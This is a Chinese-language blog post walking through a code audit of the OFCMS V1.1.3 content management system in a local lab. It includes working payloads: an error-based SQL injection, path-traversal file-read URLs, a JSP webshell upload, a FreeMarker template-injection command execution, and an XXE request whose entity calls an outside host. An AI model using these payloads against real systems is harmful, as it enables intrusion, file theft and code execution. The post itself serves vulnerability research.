<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次某內容管理平臺最最最詳細的代碼審計

    一顆小胡椒2022-05-26 16:32:44
    前言

    剛好遇到一個授權的滲透是通過該cms實現getshell,所以順便審計一下java類的cms,這個管理系統是一個內容管理系統,下載地址

    https://gitee.com/oufu/ofcms/tree/V1.1.3/

    tomcat下載地址

    https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip

    這里我選擇8.5.78

    環境搭建
    idea
    ofcms V1.1.3
    tomcat 8.5
    

    idea直接創建新建項目,自動導入xml文件,配置啟動服務器

    導入sql文件

    mysql -uroot -pxxxxxxx
    use ofcms
    source /路徑.ofcms-v1.1.3.sql
    

    show tables;
    

    這里需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題

    配置端口

    啟動tomgcat的時候會亂碼,修改tomcat的配置文件tomcat->config->logging.properties

    更改所有utf8的格式為GBK

    配置maven,整一個惡心的想吐

    <mirror>
          <id>alimaven</id>
          <mirrorOf>central</mirrorOf>
          <name>aliyun maven</name>
          <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
        </mirror>
    

    重建項目

    啟動服務,但是之前需要修改配置文件中的數據庫的連接的字段用戶名和密碼,這里會報錯,所以修改配置文件直接創建完成了數據庫在上面導入數據庫的時候跳過安裝步驟。

    首頁地址: localhost:8099/ofcms_admin
    后臺地址:localhost:8099/ofcms_admin/admin/login.html
    admin/123456
    

    審計分析
    SQL注入

    文件結構目錄

    因為已知漏洞都存在于后臺,直接審計后臺文件,首先定位到控制層代碼,

    因為已經不通通過安裝啟動web服務,這里不需要分析安裝控制層,看首頁

    出于對代碼的尊重,跟了一波增加sql語句的處理,但是存在sql注入的過濾器,

    直接觸發增加用戶接口

    其實可以直接看出來,在第50行的時候已經使用put方法增加了管理員用戶,然后new了一個對象record存放存入的其它參數的數據,再往下的時候根據record的值判斷用戶的類型,向下56行F7跟進,一直跟到類sqlpara的setsql方法進行插入

    在這里的時候插入的是創建時的創建時間等字段,并沒插入我們傳入的詳細信息,但是在類sysusercontroller中的57行中十對創建的用戶sss創建id編號,此時用戶以及數據的插入時在58行執行結束時完成,已經寫進了數據庫。

    但是這里沒有測試存在注入點兒,注入點存在于代碼生成->新增

    手動測試有回顯sql=1'

    猜測可能存在報錯注入,構造payload

    update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2

    \ofsoft\cms\admin\controller\system\SystemGenerateController.java下斷點分析

    47行,F7跟進

    返回的sql參數的內容未作任何過濾,48行F7跟進

    98行跟進update方法

    256行直接連接數據庫進行更新,最后拋出異常,報錯回顯出數據庫用戶名root

    存儲型XSS

    分析代碼,

    所以這里出現存儲型XSS的地方不止這一個觸點兒,包括前臺,Ueditor編輯器的原因。

    任意文件讀取

    查看文件模板,模板文件連接如下

    http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
    

    可控參數dir,payload如下

    http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
    

    控制字段file_name讀取文件

    http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
    

    漏洞分析

    查看模板文件的時候,傳入的dir參數以及updir的參數都為空


    這里是對路徑文件類型做判斷,讀取模板文件,所這里任意文件讀取也只是針對任意模板文件讀取,讀取文件名的控制參數數為filename

    根據debug分析,當傳入的payload為

    http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
    

    測試根據斷點看出,我們傳入的參數dir為../

    在65行的時候未對傳入的參數dir做過濾,這個時候已經拿到了模板目錄

    讀取通過循環遍歷使用文件名讀取

    在調試的時候發現,我們訪問目錄。這里訪問comn

    在控制層TemplateController內調用函數getSiteTemplatePath()

    F7跟進,在類file.java中對路徑進行了直接拼接

    所以只要調用file函數拼接的參數也必定會產生"任意"文件讀取。那么所能使用的payload如下

    ?dir=../
    ?up_dir=../
    #含文件名
    ?file_name=page.html&up_dir=../comn
    ?file_name=page.html&dir=../comn
    
    文件上傳實現webshell

    剛好該類這里又save方法調用了上面的函數,所以我們可以保證我們上傳文件的路徑是可控的

    嘗試構造數據包


    此時已經成功保存,但是通過文件讀取是讀不到文件的,實際上已經寫進去了,因為在讀取文件的時候限制了讀取的文件類型,可以嘗試保存一個html

    驗證是可以寫入的,那么直接寫入jsp木馬實現webshell

    最后一個斷點執行結束,此時shell已成功寫入

    http://localhost:8099/ofcms_admin/static/1.jsp
    

    SSTI模板注入

    同樣在save模板的時候我們分析,在125行的時候傳入file文件以及文件內容

    f7跟進函數,發現在類fileutils中的,writestring方法中在78行的時候拿到的string還是我們在前端輸入的內容

    繼續F7跟進函數

    這里直接對string進行了編碼

    payload

    <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
    

    訪問

    http://localhost:8099/ofcms_admin/about.html

    所以這里漏洞的觸發點也很多,html頁面都可以,當然也可以利用上面的文件上傳進行寫入頁面調用也可以觸發。漏洞的觸發原理可參考這個文章

    http://t.zoukankan.com/Eleven-Liu-p-12747908.html

    很清晰

    XXE漏洞

    直接分析漏洞代碼下斷點

    ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java

    前端功能模塊導出

    定位到控制器處理方法,在 com.ofsoft.cms.admin.controller.ReprotAction 類的 expReport 方法中。

    使用上文的任意文件讀取,在靜態頁面下放入我們寫入的jrxml文件,文件命名為xxe.jrxml,構造payload

    POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
    Host: localhost:8099
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 394
    Origin: http://localhost:8099
    Connection: close
    Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
    Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
    file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%36%2e%31%32%38%3a%38%30%38%31%22%3e%25%78%78%65%3b%20%5d%3e
    

    文件內容的payload

    <!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
    


    直接訪問

    http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
    


    漏洞成因是調用了 getParamsMap 方法,獲取用戶提交的所有參數,并將 j 參數賦值給 jrxmlFileName ,服務器接收用戶輸入的 j 參數后,拼接生成文件路徑,可直接穿越其它目錄,但是限制了文件后綴為 jrxml,所以文件名命名為jrxml

    先調用getParamsMap 方法

    而后調用JasperCompileManager.compileReport() 方法

    F7跟進,在 compile方法中調用 JRXmlLoader.load() 方法,F7跟進,在 loadXML 方法中調用了 Digester 類的 parse 解析我們的 XML 文檔對象,默認是沒有禁用外部實體解析,所以xxe文件能執行。

    總結

    拋開白盒審計不說,sql注入實現比較簡單,黑盒狀態下也可知道用戶名實現,跨站類可以通過js類的實現對用戶的上線,高危的文件讀取和webshell以及xxe,總的來說都是在文件讀取目錄遍歷的基礎上實現的,否則對于二次開發的網站拋開任意文件讀取這個漏洞來說是無法實現webshell的。

    adminlocalhost
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析。地址1.3 DNS 的功能每個 IP 地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。主機名到 IP 地址映射的兩種方式靜態映射/etc/hosts文件在每臺設備上都有主機到IP的映射關系,只供此設備使用動態映射/etc/resolv.conf文件指通過DNS服務器配置主機到IP的映射關系#?
    FastCGI與PHP-FPM FastCGI 快速通用網關接口(Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使[服務器可以同時處理更多的網頁請求。
    利用SSRF滲透內網主機
    2021-12-26 07:39:35
    接下來PHP解析器會解析php.ini文件,初始化執行環境,然后處理請求,再以規定CGI規定的格式返回處理后的結果,退出進程,Web server再把結果返回給瀏覽器。這就是一個完整的動態PHP Web訪問流程。
    Redis系列漏洞總結
    2023-06-19 10:29:18
    前言Redis的未授權漏洞一直都是一個很火的漏洞,最近看許多前輩的文章自己復現后,根據自己的實踐再次總結一下,為日后復習方便回顧。Redis簡介redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。
    Web日志安全分析淺談
    2022-01-12 06:36:15
    attack=test';select//1//from/**/1,此時請求狀態碼為200,但是此注入攻擊并沒有得到執行,實際情況中,還會有更多情況導致產生此類的噪聲數據。拋開這類情況不談,我們來說說在一般應急響應場景中我們分析日志的常規辦法。假設我們面對的是一個相對初級的黑客,一般我們直接到服務器檢查是否存有明顯的webshell即可。
    任務模塊專注于任務的執行等操作,開發和維護更加簡單和高效;接收“調度中心”的執行請求、終止請求和日志請求等。XXL-JOB的不同任務之間并行調度、并行執行。同時支持任務終止。當任務”路由策略”選擇”故障轉移”時,當調度中心每次發起調度請求時,會按照順序對執行器發出心跳檢測請求,第一個檢測為存活狀態的執行器將會被選定并發送調度請求。
    idea直接創建新建項目,自動導入xml文件,配置啟動服務器導入sql文件mysql?這里需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題配置端口啟動tomgcat的時候會亂碼,
    本篇文章是MongoDB數據庫信息泄露漏洞復現,記錄了實際中常見的MongoDB數據庫未授權訪問漏洞并如何使用,主要分為七個部分:MongoDB簡介、MongoDB安裝、MongoDB基本操作、MongoDB相關工具使用、MongoDB漏洞復現、MongoDB實戰和MongoDB防御措施。
    Playwright 入門教程
    2023-09-14 10:09:59
    Playwright 入門教程
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类